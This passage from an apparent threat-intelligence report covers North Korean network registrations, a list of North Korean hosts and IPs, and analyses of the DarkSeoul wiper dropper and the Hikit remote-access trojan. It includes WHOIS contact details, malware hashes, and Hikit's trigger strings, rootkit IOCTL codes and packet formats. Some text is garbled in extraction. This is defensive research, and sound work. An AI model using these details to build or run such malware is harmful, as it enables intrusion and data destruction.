APNIC role: STAR JOINT VENTURE CO LTD - network administrat address: Ryugyong-dong Potong-gang District country: phone: +66 81 208 7602 fax-no: +66 2 240 3180 e-mail: sahayod@loxley.co.th admin-c: SJVC1-AP tech-c: SJVC1-AP nic-hdl: SJVC1-AP mnt-by: MAINT-STAR-KP changed: hm-changed@apnic.net 20091214 source: APNIC WHOIS Record for uriminzokkiri.com: Domain Name : uriminzokkiri.com PunnyCode : uriminzokkiri.com Creation Date : 2003-02-09 00:00:00 Updated Date : 2012-06-28 13:22:18 Expiration Date : 2015-02-09 00:00:00 Registrant: Organization : chaoxianLiuYiYuBianJishe ShenYang Ban SHICHU Name : Korea 615 Shenyang company Address : shenyang hepingqu xifudalu 168 hao 2 danyuan 2-12-1 City : shenyangshi Province/State : liaoningsheng Country : china Postal Code : 123456 Administrative Contact: Name : kim sejun Organization : Shenyang xin neng yuang Address : shenyang hepingqu xifudalu 168 hao 2 danyuan 2-12-1 City : shenyangshi Province/State : liaoningsheng Country : china Postal Code : 123456 Phone Number : Fax : 86-024-22523102 Email : hyk1979@hotmail.com Technical Contact: Name : kim sejun Organization : Shenyang xin neng yuang Address : shenyang hepingqu xifudalu 168 hao 2 danyuan 2-12-1 City : shenyangshi Province/State : liaoningsheng Country : china Postal Code : 123456 Phone Number : Fax : 86-024-22523102 Email : hyk1979@hotmail.com Billing Contact: Name : kim sejun Organization : Shenyang xin neng yuang Address : shenyang hepingqu xifudalu 168 hao 2 danyuan 2-12-1 City : shenyangshi Province/State : liaoningsheng Country : china Postal Code : 123456 Phone Number : Fax : 86-024-22523102 Email : hyk1979@hotmail.com WHOIS Record for ournation-school.com: Domain Name: ournation-school.com Registry Domain ID: Registrar WHOIS Server:whois.paycenter.com.cn Registrar URL:http://www.xinnet.com Updated Date:2012-06-28 13:22:20 Creation Date:2004-10-29 00:00:00 Registrar Registration Expiration Date:2014-10-29 00:00:00 Registrar:XINNET TECHNOLOGY CORPORATION Registrar IANA ID:120 Registrar Abuse Contact Email: supervision@xinnet.com Registrar Abuse Contact Phone:+86.1087128064 Domain Status: Registry Registrant ID: Registrant Name:Korea 615 Shenyang company Registrant Organization:chaoxian liuyiyubianjishe shenyangbanshichu Registrant Street:shenyang hepingqu xifudalu 168 hao 2 danyuan 2-12-1 Registrant City:shenyangshi Registrant State/Province:liaoningsheng Registrant Postal Code:123456 Registrant Country:China Registrant Phone:+86.024 22523102 Registrant Phone Ext: Registrant Fax:+86.024 22523102 Registrant Fax Ext: Registrant Email:urimanager@silibank.com Registry Admin ID: Admin Name:Korea 615 Shenyang company Admin Organization:Korea 615 Shenyang company Admin Street:shenyang hepingqu xifudalu 615 hao 2 danyuan 6-1-5 Admin City:shenyangshi Admin State/Province:liaoningsheng Admin PostalCode:123456 Admin Country:China Admin Phone:+86.024 22523102 Admin Phone Ext: Admin Fax:+86.024 22523102 Admin Fax Ext: Admin Email:urimanager@silibank.com Registry Tech ID: Tech Name:Korea 615 Shenyang company Tech Organization:Korea 615 Shenyang company Tech Street:shenyang hepingqu xifudalu 615 hao 2 danyuan 6-1-5 Tech City:shenyangshi Tech State/Province:liaoningsheng Tech PostalCode:123456 Tech Country:China Tech Phone:+86.024 22523102 Tech Phone Ext: Tech Fax:+86.024 22523102 Tech Fax Ext: Tech Email:urimanager@silibank.com Name Server:ns13.xincache.com Name Server:ns14.xincache.com DNSSEC:unsigned WHOIS Record for chongryon.com: Domain Name: chongryon.com Registry Domain ID: 69711868_DOMAIN_COM-VRSN Registrar WHOIS Server: whois.melbourneit.com Registrar URL: http://www.melbourneit.com.au Updated Date: 2014-03-26T00:31:24Z Creation Date: 2001-04-20T06:45:46Z Registrar Registration Expiration Date: 2015-04-20T06:45:46Z Registrar: Melbourne IT Ltd Registrar IANA ID: 13 Registrar Abuse Contact Email: abuse@melbourneit.com.au Registrar Abuse Contact Phone: +61.386242300 Domain Status: ok Registry Registrant ID: Registrant Name: o guanin Registrant Organization: o guanin Registrant Street: "hujimi2-14-15," Registrant City: chiyodaku Registrant State/Province: tokyo Registrant Postal Code: 1028138 Registrant Country: JP Registrant Phone: +81.332627111 Registrant Phone Ext: Registrant Fax: Registrant Fax Ext: Registrant Email: park2@mac.com Registry Admin ID: Admin Name: guanin o Admin Organization: Admin Street: "hujimi2-14-15," Admin City: chiyodaku Admin State/Province: tokyo Admin Postal Code: 1028138 Admin Country: JP Admin Phone: +81.332627111 Admin Phone Ext: Admin Fax: Admin Fax Ext: Admin Email: park2@mac.com Registry Tech ID: Tech Name: Link Club Tech Organization: Link Club Tech Street: 5-39-6 Jingumae Shibuya-ku Tech City: TOKYO Tech State/Province: 150-0001 Tech Postal Code: JP Tech Country: JP Tech Phone: +81.462643403 Tech Phone Ext: Tech Fax: Tech Fax Ext: Tech Email: mel-tech@hosting-link.ne.jp Name Server: USR-NS1.LINKCLUB.JP Name Server: USR-NS2.LINKCLUB.JP DNSSEC: unsigned URL of the ICANN WHOIS Data Problem Reporting System: http://wdrprs.internic.net >>> Last update of WHOIS database: 2014-05-13T18:15:18Z WHOIS Record for korea-np.co.jp: Domain Information: [B%I%a%$%s>pJs] a. [B%I%a%$%sL>] KOREA-NP.CO.JP e. [B$=$7$-$a$$] B$+$V$7$-$,$$$7$c B$A$g$&$;$s$7$s$]$&$7$c f. [BAH?%L>] B3t<02q80] [B>uBV] Connected (2015/02/28) [BEPO?G/7nF|] 1997/02/14 [B@\B3G/7nF|] 1997/06/03 [B:G=*99?7] 2014/03/01 01:16:34 (JST) Appendix B Sites found on North Korean IP space smtp.star-co.net.kp 175.45.176.10 airkoryo.com.kp 175.45.176.69 smtp.start-di.net.kp 175.45.176.10 spwebh2.star.net.kp 175.45.176.7 spinef1.star.net.kp 175.45.176.10 mail.silibank.net.kp 175.45.176.70 spinef2.star.net.kp 175.45.176.11 kcna.kp 175.45.176.71 ns1.co.kp 175.45.176.15 gnu.rep.kp 175.45.176.73 ns1.com.kp 175.45.176.15 vok.rep.kp 175.45.176.75 ns1.edu.kp 175.45.176.15 friend.com.kp 175.45.176.8 ns1.gov.kp 175.45.176.15 korelcfund.org.kp 175.45.176.8 ns1.kptc.kp 175.45.176.15 ns1.cooks.org.kp 175.45.176.8 ns1.kptc.kp 175.45.176.15 ns1.friend.com.kp 175.45.176.8 ns1.net.kp 175.45.176.15 ns1.gnu.rep.kp 175.45.176.8 ns1.org.kp 175.45.176.15 ns1.kcna.kp 175.45.176.8 ns1.org.kp 175.45.176.15 ns1.koredfund.org.kp 175.45.176.8 ns1.rep.kp 175.45.176.15 ns1.korelcfund.org.kp 175.45.176.8 ns2.co.kp 175.45.176.16 ns1.korfilm.com.kp 175.45.176.8 ns2.com.kp 175.45.176.16 ns1.ksf.com.kp 175.45.176.8 ns2.edu.kp 175.45.176.16 ns1.naenara.com.kp 175.45.176.8 ns2.gov.kp 175.45.176.16 ns1.rodong.rep.kp 175.45.176.8 ns2.kptc.kp 175.45.176.16 ns1.silibank.net.kp 175.45.176.8 ns2.kptc.kp 175.45.176.16 ns1.star-co.net.kp 175.45.176.8 ns2.net.kp 175.45.176.16 ns1.star-di.net.kp 175.45.176.8 ns2.org.kp 175.45.176.16 ns1.star.net.kp 175.45.176.8 ns2.rep.kp 175.45.176.16 ns1.vok.rep.kp 175.45.176.8 friend.com.kp 175.45.176.39 ns2.airkoryo.com.kp 175.45.176.8 friend.com.kp 175.45.176.67 friend.com.kp 175.45.176.9 gnu.rep.kp 175.45.176.67 gnu.rep.kp 175.45.176.9 koredfund.org.kp 175.45.176.67 koredfund.org.kp 175.45.176.9 korelcfund.org.kp 175.45.176.67 korelcfund.org.kp 175.45.176.9 ksf.com.kp 175.45.176.67 ns2.airkoryo.com.kp 175.45.176.9 naenara.com.kp 175.45.176.67 ns2.cooks.org.kp 175.45.176.9 vok.rep.kp 175.45.176.67 ns2.friend.com.kp 175.45.176.9 rodong.rep.kp 175.45.176.68 ns2.gnu.rep.kp 175.45.176.9 ns2.kcna.kp 175.45.176.9 friend.com.kp 175.45.177.77 ns2.koredfund.org.kp 175.45.176.9 koredfund.org.kp 175.45.177.77 ns2.korelcfund.org.kp 175.45.176.9 korelcfund.org.kp 175.45.177.77 ns2.korfilm.com.kp 175.45.176.9 naenara.com.kp 175.45.177.77 ns2.ksf.com.kp 175.45.176.9 vok.rep.kp 175.45.177.77 ns2.naenara.com.kp 175.45.176.9 mail.chosunexpo.com 175.45.178.101 ns2.rodong.rep.kp 175.45.176.9 ns3.kptc.kp 175.45.178.173 ns2.silibank.rep.kp 175.45.176.9 ns3.kptc.kp 175.45.178.173 ns2.star-co.net.kp 175.45.176.9 ns1.knic.com.kp 175.45.178.8 ns2.star-di.net.kp 175.45.176.9 ns1.knic.com.kp 175.45.178.8 ns2.star.net.kp 175.45.176.9 ns1.star.edu.kp 175.45.179.66 ns2.vok.rep.kp 175.45.176.9 ns1.star.edu.kp 175.45.179.66 vok.rep.kp 175.45.176.9 email.kp.col.cn 175.45.179.67 gnu.rep.kp 175.45.177.73 mail.star.edu.kp 175.45.179.69 vok.rep.kp 175.45.177.75 Appendix C Analysis of DarkSeoul Dropper Dropper MD5: 9263e40d9823aecf9388b64de34eae54 Also known as/detected as : Dropper-FDH (McAfee) Trojan:Win32/Dembr.A (Microsoft) Trojan.Jokra (Symantec) The dropper component that we examined was distributed as a UPX-packed binary. Installation When executed it creates the following files in the affected user s %Temp% directory: alg.exe: A legitimate binary used to open SSH connections with remote servers MD5 e45cd9052dd3dd502685dfd9aa2575ca Size: 166,912 bytes conime.exe: A legitimate binary used to open SSH connections with remote servers MD5: 6a702342e8d9911bde134129542a045b Size: 153,600 bytes ~pr1.tmp: Payload - A destructive bash script MD5: dc789dee20087c5e1552804492b042cd Size: 1,186 bytes Also known as/detected as: KillMBR-FBIA (McAfee) Trojan:SH/Kofornix.A (Microsoft) Trojan.Jokra (Symantec) AgentBase.exe: Payload - Win32 wiper component (see details below) MD5: db4bbdc36a78a8807ad9b15a562515c4 Size: 24,576 Payload attempts to connect to remote servers and upload a destructive bash script After determining the location of user profile directories on the affected computer, the malware searches these directories for configuration files and directories that may be associated with the connection manager clients mRemote and SecureCRT. mRemote an open source tool for centrally managing remote server connections using a GUI (Kevin Kline, 2008).69 This tool is no longer being actively developed or supported. SecureCRT a commercial SSH and Telnet client by VanDyke Software. If an mRemote installation is located, the dropper reads the configuration file and checks if there a NODE that is defined with Username=root Protocol=SSH , and a password that is not blank. If those conditions are satisfied it extracts the information. The password is decrypted after being extracted. If a SecureCRT installation is located, the dropper extracts information from sessions that have Username=root, Protocol=SSH and a saved password. If these conditions are satisfied, the username, hostname, port, and password are extracted. The password is then decrypted. After extracting these connection and server details, the dropper uses the previously dropped alg. exe and conime.exe to attempt to connect remote servers, upload and run the bash script ~pr1.tmp. The bash script initially checks which UNIX it is running on (of HP-UX, SunOS, Linux, or AIX) and then attempts to wipe the /kernel, /usr /etc and /home directories, thus rendering the machine inoperative. Win32 Wiper component When the AgentBase.exe component is executed, it first attempts to stop the following processes, presumably in order to evade detection: pasvc.exe policy agent from AhnLab clisvc.exe ViRobot ISMS from Hauri It then enumerates all physical drives and overwrites the first 512 bytes with the string: princpes , effectively destroying the MBR (master boot record) of the affected drive. It continues to look for removable and fixed drives, locates the root directory on these drives, and then attempts to delete all files and folders in this directory. Finally, the affected computer is shut down and rebooted, although if the wiping mechanisms were successful then the machine will not be able to boot. Learn more at hp.com/go/hpsr Hikit Analysis Basic Description Hikit consists of at least two generations of malware that provides basic RAT functionality. The first generation of Hikit (referred to as Gen 1 ) operates as a server and requires an externally exposed network interface in order for an attacker to access the victim machine. The second generation of Hikit (referred to as Gen 2 ) uses the more traditional client model and beacons out to an attacker s C2 server. While the communication models shifted dramatically between Gen 1 and Gen 2, both generations of Hikit retain the same basic RAT function consisting of remote command shell, file management, network proxy and port forwarding. Both Gen 1 and Gen 2 sub-families of Hikit consist of a main DLL (referred to as the DLL ) that contains the RAT functionality; a kernel driver (referred to as the Driver ) with Gen 2 also employs an additional component: a loader executable. The driver component of Gen 1 and Gen 2 are drastically different in their operation and intent. For the Gen 1 sub-family of Hikit, the driver acts as a NDIS (network) driver that is responsible for interfacing the DLL to the network while preventing a direct WinSock interface from occurring. The Gen 1 Driver listens to network traffic arriving at the local network interface and waits for a specific trigger string. The trigger string varies by Driver and DLL sample. The Gen 2 Driver is a simpler system driver that acts as a rootkit to hide processes, registry keys and network connections associated with Gen 2 activity on the victim s system. Gen 2 uses a standard client-server malware model meaning that the malware no longer requires a direct Internet-facing network card, no longer uses a network driver for networking, and provides the ability to network multiple Gen 2 samples behind a firewall with greater ease (from the attacker perspective). The Gen 2 sub-family, however, no longer employs network stealth provided by the Gen 1 network driver which exposes the C2 server addresses to analysts. Each of the Hikit generations contains multiple sub-generations as the author(s) of Hikit have evolved their code over time. There is a noticeable steep improvement over the code base of Gen 1 Hikit family during its 2011 development period. The Gen 2 sub-generations share a similar improvement scale between late 2011 and late 2013. Evolution The earliest known Hikit sample dates back to 31 March 2011. Known as the Gen 1.0 sub-generation of Hikit Gen 1, the first known sample of Hikit deviated from the later traditional Gen 1 model. The Gen 1.0 sample was a standalone executable whereas subsequent Gen 1 sub-generations use a DLL running as a service. The Gen 1.0 sample is clearly a work-in-progress. The Gen 1.0 sample, while different than subsequent sub-generations, does still rely on the Driver component and for the most part the structure of the code does not differ much going forward into the Gen 1 evolution. Less than three weeks after Gen 1.0, the author(s) of Hikit move into Gen 1.1. The notable change is that the Hikit model of using a DLL and driver, which has remained until present day, comes into being. The code matures slightly between Gen 1.0 and Gen 1.1 but the functionality does not change. Both Gen 1.0 and Gen 1.1 use plaintext data transmissions. Development appears to halt on Gen 1 for 4 months between 20 June 2011 and 23 October 2011 based on a lack of available samples found. During this time the development of Hikit appears to change locations. Gen 1 samples have Program Database (PDB) file strings that identify the file path of the Hikit source code. For Gen 1.0 and Gen 1.1 samples, the file path of the Hikit source code is consistently h:\JmVodServer\hikit. Starting with Gen 1.2, the file path switches to e:\SourceCode\hikit_new. It is at this time that the functionality of Hikit Gen 1 begins to mature. In Gen 1.2, the communication between the infected machine and the attacker is encrypted using an XOR mask. A more subtle change is the renaming of the socks5 command to simply proxy within the code. The code within Hikit begins to mature but the overall functionality does not expand beyond the original set of commands found in Gen 1.0. The other remarkable change within the Gen 1.1 to Gen 1.2 development is the way in which the session handshake trigger operates. In Gen 1.0 and Gen 1.1, the DLL instructs the Driver to listen for a specific string (typically a HTTP request string) and responds with another string. In Gen 1.2, the Driver has a hardcoded trigger string (a specific HTTP request string) and the DLL instructs the Driver to inspect a specific HTTP header field for a specific hexadecimal value. This moves Gen 1.2 into more of a username/password authentication scheme whereas previous sub-generations could potentially be accessed by accidental HTTP requests. At the same time, the Driver responds with a specific value with in the Etag HTTP header field. This places Gen 1.2 into a more stealth position as a random, non-HTTP compliant response from Gen 1.0 and Gen 1.1 samples is more obvious than a legitimate HTTP response with a specially crafted Etag header. Gen 1.2 s development cycle appears to exist between 23 October 2011 and 2 November 2011 with several new samples being found on the Internet having legitimate compile times during this time window. There is, however, evidence that the development of Hikit Gen 1 and Gen 2 overlap by several months. The earliest Gen 2 sample known to exist dates to 28 August 2011, two months before the first known Gen 1.2 sample. The last known Gen 1.2 sample, and by extension, the last known Gen 1 sample, dates to 9 April 2012. The first known Gen 2 sub-generation, Gen 2.0 Alpha, much like Gen 1.0, represents an early development version of the Gen 2 Hikit sub-family. Gen 2.0 Alpha is a stand-alone Windows console executable that can run as a service executable. Gen 2.0 Alpha supports the same commands as Gen 1.2 with an additional command that returns the infection s configuration information. On 9 February 2012 the first known sample for Gen 2.0 Beta is compiled by the developer(s) of Hikit. Also a stand-alone console executable like Gen 2.0 Alpha, the Gen 2.0 Beta code changes internally without providing significant functionality improvements with the exception of now the executable uses a device driver to hide network, file, and registry artifacts related to its operation. Both Gen 2.0 Alpha and Gen 2.0 Beta still retain PDB file path information within their binaries. During the development phase of Gen 2.0 Alpha, development of the Gen 2.0 Alpha variants changes locations. First version of the Gen 2.0 Alpha malware, from 28 August 2011, has the PDB path located in H:\JmVodServer\Matrix_new2 whereas the file path for later Gen 2.0 Alpha and Gen 2.0 Beta binaries has the PDB path in E:\SourceCode\Matrix_new which suggests that the source code for both Gen 1 and Gen 2 existed on the same machine and moved at roughly the same time. This may indicate either a single developer or a team (or set of teams) with shared resources. The first known Gen 2.1 binary has a compile date of 17 April 2012. Gen 2.1 represents the first Gen 2 sub-generation to use an executable-based loader, DLL and driver model, a model that all subsequent Gen 2 sub-generations employ. The functionality of the Gen 2.1 sub-generation is the same as the previous generations with no new commands being introduced. Gen 2.1 is the first sub-generation in the Gen 2 sub-family to introduce 64-bit binaries. The Gen 2.2 sub-generation appears to have begun on 20 July 2012. Gen 2.2 is notable for altering where the configuration information of the RAT is stored and using both DLL-based and executablebased loaders. Also notable is the fact that the sub-generation spans a significant amount of time with intermittent periods of development. The bulk of the Gen 2.2 samples that have the tell-tale marks of being the product of a builder have a compile date of 26 July 2013, a full year after the first known Gen 2.2 sample. Between 21 July 2012 and 20 February 2013, there are no known Gen 2.2 binaries. The two 20 July 2012 samples have different compile times indicating they were not the product of a builder but rather unique compilations. Between 21 February 2013 and 27 February 2013, there are 4 unique compilation dates for the DLL component with 7 unique, known Gen 2.2 DLLs. The bulk of Gen 2.2 samples have a compile date of 26 July 2013. There are approximately 25 known Gen 2.2 DLLs with the 26 July 2013 compile date. The Gen 2.2 sub-generation appears to exist through at least 19 September 2013. The last known Gen 2 sub-generation, Gen 2.3, began on 12 December 2013. Gen 2.3 is notable for its use of a legitimate SSL certificate as part of the handshake between the infected machine and the attacker s C2. The DLL will send a legitimate SSL certificate as a means to disrupt heuristic IDS sensors that look for encrypted traffic. Another interesting aspect of the Gen 2.3 sub-generation is that there is no longer a marker to designate the beginning of the embedded configuration. Gen 2.1 and Gen 2.2 uses a specific string to indicate the beginning of the embedded configuration presumably in order to allow the builder to locate the configuration space when constructing a new configuration for the binaries. Gen 2.3, however, uses a specific location instead, requiring the builder to calculate the specific location using the PE/COFF header of the binary. Also, while Gen 2.1 and Gen 2.2 retain the configuration within the DLL component, Gen 2.3 stores the configuration within the loader component. This allows the attackers to configure the loader without having to update the DLL. The evolution of Hikit is a long and drawn out series of small, incremental development changes. The important take away from the evolution of Hikit is that the developers for Gen 1 appear to have changed in late 2011 and development of Gen 2 has a several month overlap with the development and usage of Gen 1. The following table provides a quick reference to the generational (and sub-generational) designations of Hikit. August 28, 2011 Timeline Outlined in Appendix A: HiKit Versions The Driver The Driver component for Hikit varies based on the specific Hikit sub-family (Gen 1 or Gen 2). As such it is necessary to describe each in the context of its specific sub-family. Gen 1 Driver The Driver component of Gen 1 Hikit variants provides the interface between the victim s network interface card (NIC) and the DLL. The Driver is a NDIS (network) driver that integrates into the victim network stack. The Driver intercepts any and all network communication that traverses the Windows network stack and potentially removes the data from the network stack under very specific conditions. When the Driver removes data from the network stack, the Driver stores the removed data in local buffers for the Gen 1 DLL to query against. The purpose of this behavior is to allow the DLL to interact with the network without utilizes the WinSock API which could potentially reveal the presence of Hikit. In order to interact with the Driver, the DLL uses the function IoDeviceControl to send commands to the Driver. The Driver registers itself at both \Device\w7fw \DosDevices\w7fw thereby allowing the DLL to access the Driver by performing a CreateFile request to \\.\w7fw \\.\Globals\w7fw in order to obtain a handle to the Driver. The Driver s interface supports the following OIDs: 0x12C828 0x12C82C 0x12C830 0x12C838 0x12C840 0x12C844 0x12C848 0x12C84C 0x12C850 Function No-op Retrieves bytes from the recv queue. Add bytes to the xmit queue. Set key value (the trigger value) Change mode for current process s channel to 2 Activates channel Shuts down a channel by flushing all queued packets/data to the network with ACK|FIN set in the flags Returns the current mode for a given channel Get the Driver s version The Driver will remove data from the network stack only if a new channel is being established. A new channel occurs when the Driver detects a trigger string. The trigger string is typically a short form HTTP request with the following trigger strings found in the wild: Generation(s) Trigger String Gen 1.0, 1.1 Gen 1.2 GET /password HTTP/1.1\r\n\r\n GET / HTTP/1.1\r\n Gen 1.2 POST / HTTP/1.1\r\n Authentication Response Value Value .welcome. 75BCD15 75BCD15 HTTP/1.1 200 OK Pragma: no-cache Content-Type: text/html ETag: "{other digits}75BCD15{other digits}:{3 hex digits}" Connection: Keep-Alive HTTP/1.1 200 OK Pragma: no-cache Content-Type: text/html ETag: "{other digits}75BCD15{other digits}:{3 hex digits}" Connection: Keep-Alive Up to and including Gen 1.1 Drivers required the DLL to specify the trigger string in addition to the authentication value whereas Gen 1.2 Drivers had the trigger strings hardcoded. In Gen 1.2, whenever the Driver detects a trigger string, the Driver inspects the rest of the data received for the authentication value. If the token follows the trigger string (there is no specific limitation on how far from the trigger string the password token must be), then the Driver generates a new channel that the DLL will use as the conduit between the DLL and the client. The Driver appears to be based off the NDIS example source code PassThru. More specifically, the author(s) of the Driver appear to have used the modified version of the PassThru example, PassThruEx, by James Antognini and Thomas Devine from a 2003 blog post1. Gen 2 Driver The Gen 2 sub-family, beginning with Gen 2.0 Beta, employs a Windows device driver ( the Driver ) to hide aspects of the DLL s functionality from normal system processes. The Driver is a relatively straightforward piece of software. It does not attempt to obfuscate its functionality from static analysis and it hooks a minimum number of kernel API functions in order to hide different pieces of information. The Driver is based primarily on the open source Agony rootkit2 and it has evidence of some portions of the code coming directly from a Chinese blog3. The Driver expose an IOCTL interface that supports the following OIDs: 0x22C000 0x22C004 0x22C008 0x22E000 0x22FFD0 0x22FFD4 0x22FFD8 0x22FFE0 0x22FFE4 0x22FFE8 0x22FFEC 0x22FFF0 0x22FFF4 0x22FFFC Function Add driver (system module) to hide. Reveal all hidden items. Add IP:Port endpoint to hide. No-Op Remove PID from hidden list. Add PID to list of PIDs to hide. Add service to list of services to hide. Add local port to list of ports to hide. Currently unused. Evidence suggest this was previously a port hiding function, but it is no longer functional. Currently unused. It is unclear the purpose of this function. It takes a string as its argument. Add directory to list of directories to hide. Add registry key to list of registry keys to hide. Add registry key value to list of registry values to hide. Purge all hooks and hidden items ("unhook") The Driver is capable of hiding processes (by PID, not name), system modules, services, network connections, listening ports, directories (and by extension, files), as well as registry keys and values. In order to hide these items, the Driver hooks various Windows Kernel API calls. The following table maps the items the Driver can hide to the API function that the Driver hooks: Item Process ID (PID) Registry Key Registry Value Directory API Function Hooked ZwDeviceIoControlFile ZwEnumerateKey ZwEnumerateValueKey QueryDirectoryFile James Antognini Thomas Divine. Extending Microsoft PassThru NDIS Intermediate Driver Parts: Address Blocking NDIS Drivers December 2003 pudn. Agony Rootkit code, stability useful Driver Develop http://en.pudn.com/downloads74/sourcecode/windows/vxd/detail265112_en.html. April 2007. CardMagic. [Reserved] Module Hook: Hiding Port Under Windows Vista http://forum.eviloctal.com/archiver/tid- 29604.html. July 2007. Item Local Listening Port Remote Endpoint Loaded Drivers API Function Hooked ZwDeviceIoControlFile ZwDeviceIoControlFile ZwQuerySystemInformation In order to hide services, the Driver will access the memory of the services.exe process, locate the linked list of services and remove the service entry that the Driver wishes to hide. This is a surprisingly invasive method to obfuscate a process. Upon activation, the Driver will expose its interface by calling IoCreateDevice with the name \Device\agony (for Gen 2.0 Beta samples), \Device\HTTPS (for Gen 2.1 samples), \Device\advcachemgr (for Gen 2.2 samples) or \Device\diskdump (for Gen 2.3 samples). The Driver also creates a symbolic link to the device using the same name but under the \DosDevices\ tree. For reasons unknown, the authors of the Driver used code from a Chinese blog that details how to hide network connections on Windows Vista and later decided to keep the example IP address within the code. Functionality and Commands The Hikit family has supported roughly the same set of commands since the first known samples of Gen 1.0. Gen 2.0 introduced a single command to provide insight into an infected machine s Hikit configuration (something that is not necessary for Gen 1 variants since they are server-based). The RAT supports the following commands: Command shell file connect Introduced Gen 1.0 Gen 1.0 Gen 1.0 socks5 proxy information Gen 1.0 Gen 1.2 Gen 2.0 Alpha Gen 1.0 exit Description Establishes a remote command shell on the victim machine File managerment Establishes a tunnel connection (e.g. port forwarding) through another Hikit sample Establishes a forwarding proxy (retired in Gen 1.2) Establishes a forwarding proxy Returns the configuration for the Hikit infection Terminates a channel Command: shell shell command activates a remote shell on the victim s computer. The remote shell function uses the standard pipe redirection method for interfacing a network application (in this case, the DLL) to a hidden command shell. Command: file file command provides an attacker with a variety of disk access options such as listing directories, changing the current directory, and uploading and downloading files. Command: connect connect function provides the functionality to allow one Hikit DLL to interface with another DLL of a similar version. The use of this functionality can best be illustrated by considering the fact that the Gen 1 Driver requires an exposed network interface in order for an external attacker to access the Gen s RAT function. This would prohibit lateral movement within a victim s network as the bulk of any organization s network infrastructure is not directly exposed to the Internet. By using the connect command, an attacker can instruct the externally exposed Gen 1 DLL to route traffic to a Gen 1 DLL that is behind the firewall, effectively making the externally exposed Gen 1 DLL a local router for Hikit traffic. Command: proxy (Gen 1.2 and later), socks5 (Gen 1.0 and 1.1) proxy socks5) command allows an attacker to utilize a Hikit-infected machine as a proxy. Command: information Gen 2 samples rely on a configuration in order to know where the C2 server exists along with other operational aspects such as the name of its service and operational times. This information is important for the attacker to have access to in order to determine if any aspect of the configuration is out of date (thus requiring a new variant of the Gen 2 binary to be configured and deployed). The information command returns to the attacker the complete configuration and current state of the Gen 2 malware. Command: exit As the name implies, the exit command causes the DLL to discontinue the current connection. Hikit Core Analysis With the Gen 1 sub-family using a server model and the Gen 2 sub-family using the client model, understanding how each of the DLL components of the sub-families works is best done, as with the Driver above, in the context of the specific sub-family. Gen 1 Analysis As noted previously in this report, the Gen 1 sub-family has several sub-generations but overall the functionality of the Gen 1 sub-family has remained constant. With the exception of Gen 1.0, the functionality of Gen 1 comes from the DLL component (Gen 1.0 uses a stand-alone executable to achieve the same results). The DLL operates as a service, requiring an attacker is install the DLL as a service at some point prior to activation. The DLL contains only two exports: DllEntryPoint DllRegisterServer. Ultimately, both exports generate a new thread of the same function mainThread ). The difference between the two exports is that DllRegisterServer can take an optional command line argument of the letter which will instruct the main thread to uninstall the Gen 1 system from a victim s computer. If the uninstall argument exists, mainThread will simply remove the Driver from the victim s machine and terminate. The authors of Gen 1 used freely available source code found online for their removal function.4 PCAUSA. Programmatically Installing NDIS Protocol Drivers http://www.ndis.com/ndis- general/ndisinstall/programinstall.htm. December 2013. When the DLL activates, either by a call to DllEntryPoint or by calling DllRegisterServer without the u parameter, mainThread begins by verifying the version of the Driver installed on the victim s machine. This requires sending OID 0x12C850 to the Driver and comparing the resulting 32-bit value with the required driver version. If the version is incorrect (i.e. it doesn t match the specified version), the DLL installs the version of the Driver found within the DLL s resource section (under the resource tree). With the Driver version verified (or forcibly corrected by installing the appropriate Driver), the DLL will instruct the Driver to use a specified string (for Gen 1.0 and Gen 1.1 samples) or a DWORD (for Gen 1.2 samples) as the acknowledgment value to send to a connecting client who requests the appropriate URL. The DLL again checks the version of the Driver and, in some versions of the DLL, will print a message indicating the version of the Driver installed and report the Transate version (the word translate is misspelled within the binary). It appears that the Driver and the communication protocol version do not necessarily have to match exactly, allowing the possibility that the Driver and the DLL could be compiled at separate times. If the Driver version is less than the Transate version (indicating that the Driver is a version too old to support the necessary communication protocols), the DLL will, in some version of the DLL, print out a line to the screen indicating the DRIVER_MIN_VERSION required along with the current Driver version. Following this, the DLL will then attempt to install the correct version of the Driver prior to terminating. It is unclear why this code exists given that the DLL will check the Driver version and correct the Driver if necessary prior to reaching the portion of the code that reports the DRIVER_MIN_VERSION. It is possible that the second Driver version check is a last ditch effort to ensure the correct Driver is installed. The DLL enters an infinite loop where the DLL waits for the Driver to report a new channel exists. A channel represents an established connection between the Driver and an external party that has provided the proper initial request and, for Gen 1.2 variants, provided the proper authentication value. When the Driver establishes a new channel, the DLL generates a runtime data structure before generating a new thread ( HikitThreadFunc ) which will service any request coming from the new channel. This allows the DLL to service multiple channels at one time. The HikitThreadFunc function is, at its core, a simple wait and respond loop. The function begins by transmitting a Hikit command prompt to the client (Hikit>) before settling into an infinite loop of Read data from channel (wait until data is available) [For Gen 1.2] Decrypt the packet header Verify the packet header to ensure the communication version is correct and the payload data size is non-zero Read the remainder of the packet (e.g. the payload portion) If the packet type field (dwPacketType) is zero, send the payload section to the command processor. Send the Hikit prompt The communication scheme between the DLL and the client consists of a 20 to 24 byte header (for Gen 1.0 and Gen 1.1) or a 28 byte header (for Gen 1.2) followed by an optional payload. The format of the Gen 1.0 and Gen 1.1 header is as follows: struct PacketHeader char magic[5]; char zeros[3]; DWORD dwHikitVersion; DWORD dwCmdType; DWORD dwLocale; // omitted in some Gen 1.0 variants DWORD dwPayloadSize; While the Gen 1.2 header is: struct PacketHeader DWORD key; DWORD dwHikitVersion; DWORD dwPacketType; DWORD dwLocale; DWORD dwCodePage; DWORD dwPayloadSize; For Gen 1.0 and Gen 1.1 samples, the magic field contains the string .. .. (two dots followed by a space then two more dots). Whereas the key field in Gen 1.2 samples contains a 32-bit value that represents the XOR key for the remainder of the PacketHeader and any additional payload data. The XOR scheme works on 32-bit chunks of data where each 32-bit chunk of data is XOR d against the key value. Version checking is important in all Gen 1 variants. The dwHikitVersion field allows the client and the DLL to ensure that they have a compatible communication scheme in place prior to executing commands. Gen 1 samples have a particular interest in the victim s locale language preferences. While it is typical for most RATs that provide remote shells to simply pass data unfiltered from client to server and server to client without regard to code pages, Gen 1 samples take special care to record the code page and locale information in each and every packet header that traverses the divide between client and server and server and client. This could indicate that the authors of Gen 1 understood from an early stage in the development of Gen 1 that they would be attacking computer systems with different locales and code pages. Gen 2 Analysis The Gen 2 sub-family, like Gen 1.2, uses a DLL for the core of its RAT functionality. In order for the DLL to load, Gen 2 (starting with Gen 2.1) uses a loader application (referred to simply as Loader ). The Loader comes in the form of a standard executable image or a DLL image. Despite the different models, both variants of the Loader load the embedded DLL in the exact same way. The only difference between the executable and DLL versions of the Loader comes in how they handle the initialization of the embedded DLL. Figure 1: DLL (left) and 